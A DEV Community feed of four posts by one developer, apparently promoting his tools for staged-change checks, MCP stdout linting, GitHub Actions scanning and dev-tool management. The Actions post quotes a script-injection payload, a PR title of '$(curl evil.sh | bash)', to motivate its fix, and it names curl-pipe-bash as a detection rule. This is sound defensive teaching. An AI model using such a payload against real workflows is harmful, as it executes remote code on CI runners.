DEV Community: TANK JAY

Stop committing .env files, node_modules and it.only: check your staged changes before you press Commit

TANK JAY — Tue, 29 Sep 2026 03:31:14 +0000

You stage everything with one click, type "fix login redirect", commit, push. The next morning the pull request has 4,812 changed files. Or six, and one of them is .env. Or CI is green because you left it.only( in a spec and the other 400 tests never ran.

None of this is hard. It is just that nothing looked at the git index before the commit happened.

The usual suspects

Staged by accident	Why it hurts
`.env`, `*.pem`, `id_rsa`, `credentials.json`	A pushed secret is a leaked secret: rotate it
Tokens in `.npmrc` / `.pypirc`, `*.tfstate`	Publish tokens and plain-text infra secrets
`dump.sql`, big binaries	Every clone carries them forever
`node_modules/`, `dist/`, `.DS_Store`	Thousands of files of review noise
`<<<<<<<` markers, `debugger;`	Broken or frozen code
`it.only(`, `fdescribe(`	The file reports PASS, the rest never runs

This is not only a side-project problem: Toyota disclosed in 2022 that a data-server access key had sat in a public GitHub repo for almost five years (BleepingComputer).

Why hooks are not enough on their own

.gitignore only helps if the pattern exists before you stage, and it cannot see content. Pre-commit hooks are the right gate for teams, but they live in each clone and need setup in every repository. Most repositories you touch in a week do not have one.

Already committed it?

git restore --staged .env          # still only staged
git rm --cached .env && echo ".env" >> .gitignore
git commit --amend --no-edit       # committed, not pushed

If it was pushed: rotate the secret first, then clean history with git filter-repo.

Catch it while it is staged

I built CommitSieve, a free VS Code extension that checks the staged changes of every repository in your workspace, live, with zero setup. The status bar shows CommitSieve: 3 issues the moment you stage something, each finding has Unstage and Add to .gitignore buttons, and content findings land in the Problems panel.

It only looks at lines your staged diff adds, leaves directories that already exist in HEAD alone, and knows that model.fit( is not a focused test. No network, no telemetry, hardened git calls. It warns rather than blocks (VS Code has no commit hook API), so keep a hook or CI scanner as the hard gate.

code --install-extension jaytankdev.commitsieve

Source (MIT): github.com/jay-tank/commitsieve

Full write-up (all 13 rules, cleanup for every case, limitations, FAQ): Stop committing .env files, node_modules and it.only

One console.log disconnects your MCP server: the stdout bug every stdio server author hits

TANK JAY — Mon, 28 Sep 2026 03:46:40 +0000

You add a tool to your MCP server, restart the client, and instead of an answer you get:

MCP error -32000: Connection closed

Nine times out of ten, the cause is one debug line:

server.registerTool("add", { /* ... */ }, async ({ a, b }) => {
  console.log("adding numbers", a, b);   // <- this disconnects the client
  return { content: [{ type: "text", text: String(a + b) }] };
});

Why it breaks

With the stdio transport, the client talks to your server through its stdin and stdout. Every byte on stdout is parsed as the next JSON-RPC message. The MCP spec says it plainly: the server must not write anything to stdout that is not a valid MCP message. Your log line lands in the middle of the stream, parsing fails, and the client drops the connection.

Logging to stderr is allowed and safe.

The fix

Instead of	Use
`console.log(x)`	`console.error(x)`
`process.stdout.write(s)`	`process.stderr.write(s)`
`print(x)`	`print(x, file=sys.stderr)`
`pino()`	`pino({}, pino.destination(2))`
`logging.basicConfig(stream=sys.stdout)`	leave `stream` out (stderr is the default)

Why it keeps shipping

Running the server by hand in a terminal looks fine, so a quick test passes.
The write is often in a helper module the server imports, not in the server file.
console.info and console.debug also go to stdout, and so do pino and winston's Console transport by default.

Real examples: esp-idf#19087, repomix#1866, keycloak-mcp#6.

Catch it in the editor

I built StdioLint, a free VS Code extension that flags stdout writes in stdio MCP servers (JS, TS and Python) as you type. It follows the modules your server imports, ignores HTTP/SSE servers and ordinary scripts, and its Quick Fix moves the output to stderr instead of deleting it. No network, no telemetry.

code --install-extension jaytankdev.stdiolint

Source (MIT): github.com/jay-tank/stdiolint

Full write-up (all four rules, Python/FastMCP examples, what ESLint no-console misses, FAQ): One console.log disconnects your MCP server

I wanted a zero-config Actions security scanner, so I built one: actionward

TANK JAY — Tue, 08 Sep 2026 05:02:01 +0000

Most of my GitHub Actions workflows are three steps long. They still manage to
be one of the softest spots in a repo: a stray ${{ github.event.* }} in a
run: block, a token with write-all, an action pinned to a mutable tag. The
tools that catch this stuff tend to be heavy - org-scoped policy engines, a
SaaS dashboard, something that wants a token and a network round-trip before it
tells me anything.

I just wanted a binary I could drop into any repo and run offline. No account,
no config, no credentials leaving my laptop. That itch became actionward.

This is the fast, hands-on tour: install it, run it, read a real finding, fix
two concrete vulnerabilities, then wire it into CI.

What it is (in one breath)

actionward is a single Go binary that statically analyzes the workflow files
under .github/workflows/. It makes no network calls and reads no
credentials. It ships 14 rules and, for each finding, tells you why it
matters and how to fix it. Output is text, JSON, or SARIF v2.1.0 for
GitHub code-scanning.

Install and run

git clone https://github.com/jay-tank/actionward
cd actionward
go build -o actionward ./cmd/actionward

# scan the current repo
./actionward scan .

That's the whole setup. Point it at a directory (or a single workflow file) and
it prints findings. Here's the shape of a real one:

HIGH  script-injection  .github/workflows/pr.yml:14
  Untrusted input `github.event.pull_request.title` is interpolated directly
  into a run script and can execute arbitrary shell.
  Fix: pass the value through an `env:` block and reference it as "$TITLE".

Rationale plus remediation, right in the output. Now let's actually fix things.

Fix #1 - script injection

The classic. You interpolate an attacker-controllable field straight into a
shell command:

# BEFORE - actionward: HIGH script-injection
- name: Greet
  run: echo "Thanks for the PR: ${{ github.event.pull_request.title }}"

A PR title of $(curl evil.sh | bash) runs on your runner. The fix is to move
the value into the environment, where the shell treats it as data, not code:

# AFTER - clean
- name: Greet
  env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "Thanks for the PR: $TITLE"

actionward also flags the sneakier variant of this rule: writing untrusted
input into $GITHUB_ENV, which can smuggle values into later steps.

Fix #2 - least privilege for the token

By default a lot of workflows inherit a broad GITHUB_TOKEN. This one asks for
everything:

# BEFORE - actionward: HIGH write-all-permissions
permissions: write-all

jobs:
  build:
    runs-on: ubuntu-latest

If any step is compromised, so is your whole repo. Scope it down to exactly what
the job needs:

# AFTER - least privilege
permissions:
  contents: read

jobs:
  build:
    runs-on: ubuntu-latest

The permissions rules also cover unscoped tokens and risky OIDC configurations -
same principle, grant the minimum.

Fix #3 - pin your actions

Referencing an action by a moving tag means whatever @v4 points to today can
change under you tomorrow:

# BEFORE - actionward: MEDIUM unpinned-action
- uses: actions/checkout@v4

Pin to an immutable commit SHA (a full-length pin is the safe form):

# AFTER - pinned
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

Other rules in the set worth knowing about: risky checkouts under
pull_request_target / workflow_run, cache poisoning, curl | bash, secrets
hardcoded in run:, secrets leaking through uploaded artifacts, self-hosted
runners on public repos, and continue-on-error slapped on a security step so
it never actually blocks anything.

Wire it into CI

The real payoff is failing a PR before the risky workflow merges. actionward
ships a composite Action that emits SARIF, so findings show up in the repo's
Security → Code scanning tab:

name: actionward
on: [pull_request]

permissions:
  contents: read
  security-events: write   # needed to upload SARIF

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
      - uses: jay-tank/actionward@v0.1.0
        with:
          format: sarif
          output: actionward.sarif
      - uses: github/codeql-action/upload-sarif@v3
        with:
          sarif_file: actionward.sarif

Prefer to keep it lean? Build the binary in the job and run actionward scan .
directly - same result, one fewer moving part.

Adopting it in an existing repo

Turning a scanner on for a repo that already has a dozen findings is how
scanners get ignored. actionward has a --baseline mode for exactly this: it
records today's findings and then only gates on new ones, so your build goes
green immediately and you burn down the backlog on your own schedule.

# record current findings once, commit the baseline
./actionward scan . --baseline .actionward-baseline.json

# later runs fail only on findings not in the baseline
./actionward scan . --baseline .actionward-baseline.json

For the handful of findings you've reviewed and consciously accept, there's a
project-level .actionward.yml config and an inline # actionward:ignore
comment for a single line. No editing source to silence a rule globally when you
only meant to accept one case.

Where it's going

v0.1.0 is deliberately small: scan, explain, gate - offline. On the roadmap are
an auto-fix mode (apply the env: rewrite for you) and SHA pinning
assistance so the fixes above become one command instead of a manual edit. Those
aren't shipped yet; the 14 rules and SARIF output are.

Try it

Repo: https://github.com/jay-tank/actionward - clone, go build, scan .,
and see what your workflows have been hiding.

If you want the background on why each rule exists, GitHub's own
security hardening for GitHub Actions
is the canonical reference and pairs well with running the scanner.

Jay Tank

I built Devkeg: a desktop control center for your dev tools

TANK JAY — Wed, 29 Jul 2026 04:01:57 +0000

Setting up a fresh developer machine is death by a thousand commands. You hunt down install
instructions, juggle apt, dnf, pacman, brew, and curl | bash, patch your PATH, and then
spend the next six months quietly fighting version drift. There's no single, friendly place that just
tells you what's installed, what's outdated, and how to fix it.

So I built one. It's called Devkeg — a desktop app that detects, installs, updates, and
uninstalls your developer and DevOps tools from one clean UI.

TL;DR — Devkeg is a Linux desktop app (Tauri + Rust + SvelteKit) that puts a GUI on top of
proven package managers (mise + your distro's) instead of reinventing installers. Open source:
https://github.com/jay-tank/devkeg.

The problem: your toolchain has no dashboard

Every other part of your stack has a dashboard — your cloud bill, your CI, your observability. But
the tools on your own machine live in a fog. Which are installed? Which are behind? The CLI tools
that manage this (mise, asdf, distro managers) are powerful but CLI-only and fragmented. There's
no visual control center. That's the gap Devkeg fills.

The one decision that shaped everything: orchestrate, don't reinvent

The tempting mistake is to write your own installers for 20+ tools — a bottomless pit of edge cases,
and every line a way to break someone's machine. Devkeg does the opposite. It's an orchestration
layer over proven backends: mise for languages/runtimes/tools in user
space, and your distro's package manager for system packages. Devkeg's job is the experience — not
reimplementing what mise and apt already do well. Every install path we don't write is a bug our
users can't hit.

Architecture

Adding a new tool doesn't touch the core — it's just a small TOML file (data, not code):

# registry/kubectl.toml
name        = "kubectl"
category    = "container"
detect_cmd  = "kubectl"
detect_args = ["version", "--client"]
backend     = "distro"

Why Tauri instead of Electron

The UI is web tech, so Electron was the obvious default. I didn't use it. For a developer tool,
footprint is a feature: a comparable Electron app ships ~120 MB and idles at 200 MB+ RAM; the
equivalent Tauri build is a ~4 MB binary on the system WebView. Shipping a bloated app to
manage other apps would be a bad look — and Tauri's Rust core gives safe subprocess handling for free.

Reliability: the boring guarantees that matter

User-space first. Prefer mise (installs to ~/.local) so most actions need no root. When elevation is genuinely required, prompt explicitly via pkexec — never silently sudo.
Verify everything. After each install/update, Devkeg re-detects the tool and confirms it runs, returning a structured result. No silent half-installs.
Correct root detection. The elevation decision uses the real effective UID (geteuid()), not brittle environment guesses.

A lesson that cost me a rebuild: the glibc trap

I built the .deb on Ubuntu 24.04, it worked in my container, then refused to launch on Ubuntu 22.04:

devkeg: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.39' not found

glibc is forward-compatible, not backward — a binary built against 24.04's glibc (2.39) can't run
on 22.04's (2.35). The rule:

Build release binaries on the oldest distro you intend to support.

I moved the release build to Ubuntu 22.04 and pinned it in CI (runs-on: ubuntu-22.04) so the mistake
can't return.

Packaging and CI

Devkeg ships as a .deb and an AppImage, built by GitHub Actions. A v* tag triggers a
workflow that builds both on Ubuntu 22.04 and attaches them to the GitHub Release. Third-party actions
are pinned to commit SHAs.

What's next

v0.1 is the "control center": detect + install/update/uninstall across ~17 tools. Next up: environment
profiles with export/import, health checks and recommendations, a community plugin registry, then
macOS (the backends are already OS-isolated).

Try it

Devkeg is open source (MIT). Grab the .deb or AppImage from the releases page, or read the code:
https://github.com/jay-tank/devkeg. If you build developer tools, I'd love feedback on the
"orchestrate, don't reinvent" bet the whole project rests on.